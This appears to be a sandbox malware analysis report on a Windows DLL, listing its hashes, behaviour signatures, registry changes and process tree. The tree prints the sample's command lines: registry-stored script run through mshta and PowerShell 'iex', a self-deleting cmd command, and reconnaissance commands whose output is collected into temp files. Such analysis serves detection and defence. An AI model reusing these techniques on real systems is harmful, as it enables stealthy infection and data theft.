Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7 -
submitted
27-10-2020 15:35
Static task
static1
Behavioral task
behavioral1
Sample
u271020tar.dll
Resource
win7
windows7_x64
0 signatures
0 seconds
General
-
Target
u271020tar.dll
-
Size
352KB
-
MD5
d800d8db5cb2ecc22899dcf7e1c2430d
-
SHA1
24a64c88075907a3f01bfdc68ef3044c13f25296
-
SHA256
84c7bba059b9d495d9e923346510a67a062b20d17c90d806fbf8cb6b67d91363
-
SHA512
39bfb1567d32b177b27627fc76fc5410ebd6009ed972f7b044eae034746311d603ba67b7e1e51d374b34b788a5ccccf7849f2b7169c6184ba180d609cc646aa8
Malware Config
Signatures
-
Deletes itself 1 IoCs
pid Process 1488 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 1824 set thread context of 1216 1824 powershell.exe 20 PID 1216 set thread context of 1172 1216 Explorer.EXE 30 PID 1216 set thread context of 1488 1216 Explorer.EXE 43 PID 1488 set thread context of 964 1488 cmd.exe 45 PID 1216 set thread context of 836 1216 Explorer.EXE 59 -
Discovers systems in the same network 1 TTPs 1 IoCs
pid Process 1600 net.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1436 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1416 systeminfo.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000099b530accd206940bf4cc3274d3cd5250000000002000000000010660000000100002000000062e1a837521634c74d741219c00a8b64e62e4c10f1302f42f1faacd8974cb7bc000000000e800000000200002000000007d687e2f939ae62319db36bebec5cd1c5bfe9b8a1d46bf163803fe224d7b0cf20000000827904aa5a6bdc8d2b83108ad6fb47053dd6f1778f96ada6815488be49a63b0540000000494405240b6c129a189f0e2cc558dc3b4e2800b5821cd03472d881a92c6bb4f96ff3c3e89156241f5910771390ae7fa9d4627764c76abd9f4250dbdafa1b150e iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000099b530accd206940bf4cc3274d3cd525000000000200000000001066000000010000200000007c991bdf8d36648ecbe0ecfbc0abc1fd77a4f6baea19ac030e591564f2ecc0de000000000e8000000002000020000000a7f5461037910eaae4ab8d8c79a585537441141b8ef3c006ac10a6ee861b05ab90000000a5c94ef40f4770fb9df602b3e49484b52e9bd3ad9b2518a9f0942d595096dd5079cf88d28ed45e54a1938483c1158659e4977f9683d1194fc1fb60d65f87ae8d22d7b0fee6be634760cb96276d19889d1aa4331fdec319b3bf384dfd871fccab1bcca8561a2aa97c3ea6c6c712a88434008d1885acfee50f849066c8ab17b2ddc1fefd130c12e87aeeb2fe787869b2f74000000077c1d75b7e1f8e50f4960f26e5f5a34ba3ae7613327b5f9bbfa55dc0d78b5a73bf97e6c81d25b703323951dd21d26639c4a41186df5a077a8d170d078e4fc750 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{498BFDC1-186E-11EB-A2BF-5E3E1FB29FB8} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 402965137bacd601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 964 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 964 PING.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1540 rundll32.exe 1824 powershell.exe 1824 powershell.exe 1216 Explorer.EXE -
Suspicious behavior: MapViewOfSection 5 IoCs
pid Process 1824 powershell.exe 1216 Explorer.EXE 1216 Explorer.EXE 1488 cmd.exe 1216 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1824 powershell.exe Token: SeDebugPrivilege 1436 tasklist.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1172 iexplore.exe 1172 iexplore.exe 1172 iexplore.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1172 iexplore.exe 1172 iexplore.exe 540 IEXPLORE.EXE 540 IEXPLORE.EXE 1172 iexplore.exe 1172 iexplore.exe 888 IEXPLORE.EXE 888 IEXPLORE.EXE 1172 iexplore.exe 1172 iexplore.exe 540 IEXPLORE.EXE 540 IEXPLORE.EXE 1216 Explorer.EXE -
Suspicious use of WriteProcessMemory 133 IoCs
description pid Process procid_target PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 788 wrote to memory of 1540 788 rundll32.exe 24 PID 1172 wrote to memory of 540 1172 iexplore.exe 32 PID 1172 wrote to memory of 540 1172 iexplore.exe 32 PID 1172 wrote to memory of 540 1172 iexplore.exe 32 PID 1172 wrote to memory of 540 1172 iexplore.exe 32 PID 1172 wrote to memory of 888 1172 iexplore.exe 34 PID 1172 wrote to memory of 888 1172 iexplore.exe 34 PID 1172 wrote to memory of 888 1172 iexplore.exe 34 PID 1172 wrote to memory of 888 1172 iexplore.exe 34 PID 960 wrote to memory of 1824 960 mshta.exe 37 PID 960 wrote to memory of 1824 960 mshta.exe 37 PID 960 wrote to memory of 1824 960 mshta.exe 37 PID 1824 wrote to memory of 1428 1824 powershell.exe 39 PID 1824 wrote to memory of 1428 1824 powershell.exe 39 PID 1824 wrote to memory of 1428 1824 powershell.exe 39 PID 1428 wrote to memory of 1432 1428 csc.exe 40 PID 1428 wrote to memory of 1432 1428 csc.exe 40 PID 1428 wrote to memory of 1432 1428 csc.exe 40 PID 1824 wrote to memory of 1496 1824 powershell.exe 41 PID 1824 wrote to memory of 1496 1824 powershell.exe 41 PID 1824 wrote to memory of 1496 1824 powershell.exe 41 PID 1496 wrote to memory of 1352 1496 csc.exe 42 PID 1496 wrote to memory of 1352 1496 csc.exe 42 PID 1496 wrote to memory of 1352 1496 csc.exe 42 PID 1824 wrote to memory of 1216 1824 powershell.exe 20 PID 1824 wrote to memory of 1216 1824 powershell.exe 20 PID 1824 wrote to memory of 1216 1824 powershell.exe 20 PID 1216 wrote to memory of 1172 1216 Explorer.EXE 30 PID 1216 wrote to memory of 1488 1216 Explorer.EXE 43 PID 1216 wrote to memory of 1488 1216 Explorer.EXE 43 PID 1216 wrote to memory of 1488 1216 Explorer.EXE 43 PID 1216 wrote to memory of 1488 1216 Explorer.EXE 43 PID 1216 wrote to memory of 1172 1216 Explorer.EXE 30 PID 1216 wrote to memory of 1172 1216 Explorer.EXE 30 PID 1216 wrote to memory of 1488 1216 Explorer.EXE 43 PID 1216 wrote to memory of 1488 1216 Explorer.EXE 43 PID 1488 wrote to memory of 964 1488 cmd.exe 45 PID 1488 wrote to memory of 964 1488 cmd.exe 45 PID 1488 wrote to memory of 964 1488 cmd.exe 45 PID 1488 wrote to memory of 964 1488 cmd.exe 45 PID 1488 wrote to memory of 964 1488 cmd.exe 45 PID 1488 wrote to memory of 964 1488 cmd.exe 45 PID 1216 wrote to memory of 1072 1216 Explorer.EXE 46 PID 1216 wrote to memory of 1072 1216 Explorer.EXE 46 PID 1216 wrote to memory of 1072 1216 Explorer.EXE 46 PID 1216 wrote to memory of 680 1216 Explorer.EXE 47 PID 1216 wrote to memory of 680 1216 Explorer.EXE 47 PID 1216 wrote to memory of 680 1216 Explorer.EXE 47 PID 1072 wrote to memory of 1968 1072 cmd.exe 51 PID 680 wrote to memory of 1628 680 cmd.exe 50 PID 1072 wrote to memory of 1968 1072 cmd.exe 51 PID 1072 wrote to memory of 1968 1072 cmd.exe 51 PID 680 wrote to memory of 1628 680 cmd.exe 50 PID 680 wrote to memory of 1628 680 cmd.exe 50 PID 1216 wrote to memory of 1852 1216 Explorer.EXE 52 PID 1216 wrote to memory of 1852 1216 Explorer.EXE 52 PID 1216 wrote to memory of 1852 1216 Explorer.EXE 52 PID 1216 wrote to memory of 1900 1216 Explorer.EXE 54 PID 1216 wrote to memory of 1900 1216 Explorer.EXE 54 PID 1216 wrote to memory of 1900 1216 Explorer.EXE 54 PID 1216 wrote to memory of 1148 1216 Explorer.EXE 56 PID 1216 wrote to memory of 1148 1216 Explorer.EXE 56 PID 1216 wrote to memory of 1148 1216 Explorer.EXE 56 PID 1148 wrote to memory of 1416 1148 cmd.exe 58 PID 1148 wrote to memory of 1416 1148 cmd.exe 58 PID 1148 wrote to memory of 1416 1148 cmd.exe 58 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 836 1216 Explorer.EXE 59 PID 1216 wrote to memory of 308 1216 Explorer.EXE 63 PID 1216 wrote to memory of 308 1216 Explorer.EXE 63 PID 1216 wrote to memory of 308 1216 Explorer.EXE 63 PID 1216 wrote to memory of 1820 1216 Explorer.EXE 65 PID 1216 wrote to memory of 1820 1216 Explorer.EXE 65 PID 1216 wrote to memory of 1820 1216 Explorer.EXE 65 PID 1820 wrote to memory of 1600 1820 cmd.exe 67 PID 1820 wrote to memory of 1600 1820 cmd.exe 67 PID 1820 wrote to memory of 1600 1820 cmd.exe 67 PID 1216 wrote to memory of 1552 1216 Explorer.EXE 68 PID 1216 wrote to memory of 1552 1216 Explorer.EXE 68 PID 1216 wrote to memory of 1552 1216 Explorer.EXE 68 PID 1216 wrote to memory of 1736 1216 Explorer.EXE 70 PID 1216 wrote to memory of 1736 1216 Explorer.EXE 70 PID 1216 wrote to memory of 1736 1216 Explorer.EXE 70 PID 1736 wrote to memory of 1472 1736 cmd.exe 72 PID 1736 wrote to memory of 1472 1736 cmd.exe 72 PID 1736 wrote to memory of 1472 1736 cmd.exe 72 PID 1216 wrote to memory of 528 1216 Explorer.EXE 73 PID 1216 wrote to memory of 528 1216 Explorer.EXE 73 PID 1216 wrote to memory of 528 1216 Explorer.EXE 73 PID 1216 wrote to memory of 1592 1216 Explorer.EXE 75 PID 1216 wrote to memory of 1592 1216 Explorer.EXE 75 PID 1216 wrote to memory of 1592 1216 Explorer.EXE 75 PID 1592 wrote to memory of 1436 1592 cmd.exe 77 PID 1592 wrote to memory of 1436 1592 cmd.exe 77 PID 1592 wrote to memory of 1436 1592 cmd.exe 77 PID 1216 wrote to memory of 792 1216 Explorer.EXE 78 PID 1216 wrote to memory of 792 1216 Explorer.EXE 78 PID 1216 wrote to memory of 792 1216 Explorer.EXE 78 PID 1216 wrote to memory of 712 1216 Explorer.EXE 80 PID 1216 wrote to memory of 712 1216 Explorer.EXE 80 PID 1216 wrote to memory of 712 1216 Explorer.EXE 80 PID 712 wrote to memory of 1440 712 cmd.exe 82 PID 712 wrote to memory of 1440 712 cmd.exe 82 PID 712 wrote to memory of 1440 712 cmd.exe 82 PID 1216 wrote to memory of 1908 1216 Explorer.EXE 83 PID 1216 wrote to memory of 1908 1216 Explorer.EXE 83 PID 1216 wrote to memory of 1908 1216 Explorer.EXE 83 PID 1216 wrote to memory of 1072 1216 Explorer.EXE 85 PID 1216 wrote to memory of 1072 1216 Explorer.EXE 85 PID 1216 wrote to memory of 1072 1216 Explorer.EXE 85 PID 1072 wrote to memory of 1628 1072 cmd.exe 87 PID 1072 wrote to memory of 1628 1072 cmd.exe 87 PID 1072 wrote to memory of 1628 1072 cmd.exe 87 PID 1216 wrote to memory of 1852 1216 Explorer.EXE 88 PID 1216 wrote to memory of 1852 1216 Explorer.EXE 88 PID 1216 wrote to memory of 1852 1216 Explorer.EXE 88 PID 1216 wrote to memory of 1900 1216 Explorer.EXE 90 PID 1216 wrote to memory of 1900 1216 Explorer.EXE 90 PID 1216 wrote to memory of 1900 1216 Explorer.EXE 90 PID 1216 wrote to memory of 1788 1216 Explorer.EXE 92 PID 1216 wrote to memory of 1788 1216 Explorer.EXE 92 PID 1216 wrote to memory of 1788 1216 Explorer.EXE 92
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\u271020tar.dll,#12⤵
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\u271020tar.dll,#13⤵
- Suspicious behavior: EnumeratesProcesses
PID:1540
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\9CDF174F-4B76-2ED7-B590-AF42B9C45396\\\Dcimsjob'));if(!window.flag)close()</script>"2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\9CDF174F-4B76-2ED7-B590-AF42B9C45396").authspex))3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yua3jone\yua3jone.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3784.tmp" "c:\Users\Admin\AppData\Local\Temp\yua3jone\CSC6EA912EBAED34121A89BCD37892C87F.TMP"5⤵PID:1432
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jbbbhkiu\jbbbhkiu.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES38AD.tmp" "c:\Users\Admin\AppData\Local\Temp\jbbbhkiu\CSCD153A959C19941B6A7924E651A35D42E.TMP"5⤵PID:1352
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\u271020tar.dll"2⤵
- Deletes itself
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:964
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D314.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:1968
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\D3C4.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:1628
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\D3C4.bi1"2⤵PID:1852
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\D314.bi1"2⤵PID:1900
-
-
C:\Windows\system32\cmd.execmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1148
-
C:\Windows\system32\systeminfo.exesysteminfo.exe3⤵
- Gathers system information
PID:1416
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:836
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:308
-
-
C:\Windows\system32\cmd.execmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1820
-
C:\Windows\system32\net.exenet view3⤵
- Discovers systems in the same network
PID:1600
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1552
-
-
C:\Windows\system32\cmd.execmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1736
-
C:\Windows\system32\nslookup.exenslookup 127.0.0.13⤵PID:1472
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:528
-
-
C:\Windows\system32\cmd.execmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1592
-
C:\Windows\system32\tasklist.exetasklist.exe /SVC3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1436
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:792
-
-
C:\Windows\system32\cmd.execmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:712
-
C:\Windows\system32\driverquery.exedriverquery.exe3⤵PID:1440
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1908
-
-
C:\Windows\system32\cmd.execmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1072
-
C:\Windows\system32\reg.exereg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s3⤵PID:1628
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1852
-
-
C:\Windows\system32\cmd.execmd /U /C "type C:\Users\Admin\AppData\Local\Temp\94E0.bin1 > C:\Users\Admin\AppData\Local\Temp\94E0.bin & del C:\Users\Admin\AppData\Local\Temp\94E0.bin1"2⤵PID:1900
-
-
C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\F5A.bin"2⤵PID:1788
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1172 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:540
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1172 CREDAT:472079 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:888
-